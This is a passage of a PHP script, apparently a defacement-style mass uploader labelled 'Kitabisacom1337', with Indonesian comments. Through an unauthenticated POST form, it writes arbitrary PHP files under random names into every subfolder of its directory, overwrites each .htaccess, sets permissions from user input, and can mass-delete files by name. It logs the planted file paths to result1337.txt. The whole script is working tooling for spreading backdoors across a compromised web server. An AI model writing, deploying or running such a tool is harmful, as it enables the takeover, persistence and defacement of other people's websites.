isDir()) { $folders[] = $file->getRealPath(); } } return $folders; } // Fungsi untuk menulis file ke setiap folder function writeToFile($path, $filename, $content, $chmod = null) { $filePath = $path . DIRECTORY_SEPARATOR . $filename; file_put_contents($filePath, $content); // Ini akan menimpa file jika sudah ada // Ubah izin file jika chmod diset if (!is_null($chmod)) { chmod($filePath, octdec($chmod)); } } // Fungsi untuk menghapus file berdasarkan nama function deleteFilesByName($dir, $filename) { $folders = getAllFolders($dir); $deletedFiles = []; foreach ($folders as $folder) { $filePath = $folder . DIRECTORY_SEPARATOR . $filename; if (file_exists($filePath)) { unlink($filePath); // Hapus file $deletedFiles[] = $filePath; } } return $deletedFiles; } // Jika form disubmit if ($_SERVER['REQUEST_METHOD'] == 'POST') { $phpContent = isset($_POST['php_content']) ? $_POST['php_content'] : ''; $htaccessContent = isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : ''; $chmodValue = isset($_POST['chmod_value']) ? $_POST['chmod_value'] : null; $deleteFilename = isset($_POST['delete_filename']) ? $_POST['delete_filename'] : ''; $customDir = __DIR__; // Hapus custom directory // Array untuk menyimpan hasil $resultDetails = []; // Jika ada nama file untuk dihapus, jalankan penghapusan massal if (!empty($deleteFilename)) { $deletedFiles = deleteFilesByName($customDir, $deleteFilename); if (!empty($deletedFiles)) { foreach ($deletedFiles as $file) { $resultDetails[] = "File dihapus: $file"; } } else { $resultDetails[] = "Tidak ada file yang ditemukan untuk dihapus dengan nama: $deleteFilename"; } } else { // Jika deleteFilename tidak disediakan, sebar file PHP dan .htaccess $allFolders = getAllFolders($customDir); foreach ($allFolders as $folder) { if (!empty($phpContent)) { $randomFilename = bin2hex(random_bytes(5)) . '.php'; // Menghasilkan nama file acak writeToFile($folder, $randomFilename, $phpContent, $chmodValue); $resultDetails[] = "Sukses Upload Di $folder/$randomFilename"; // Simpan detail } if (!empty($htaccessContent)) { writeToFile($folder, '.htaccess', $htaccessContent, $chmodValue); // Ini akan menimpa .htaccess yang ada } } } // Simpan hasil ke dalam file $resultFilePath = $customDir . DIRECTORY_SEPARATOR . 'result1337.txt'; file_put_contents($resultFilePath, implode("\n", $resultDetails)); } ?> .: Kitabisacom1337 :.

Hasil Proses:

Hasil telah disimpan ke dalam file result1337.txt di direktori saat ini.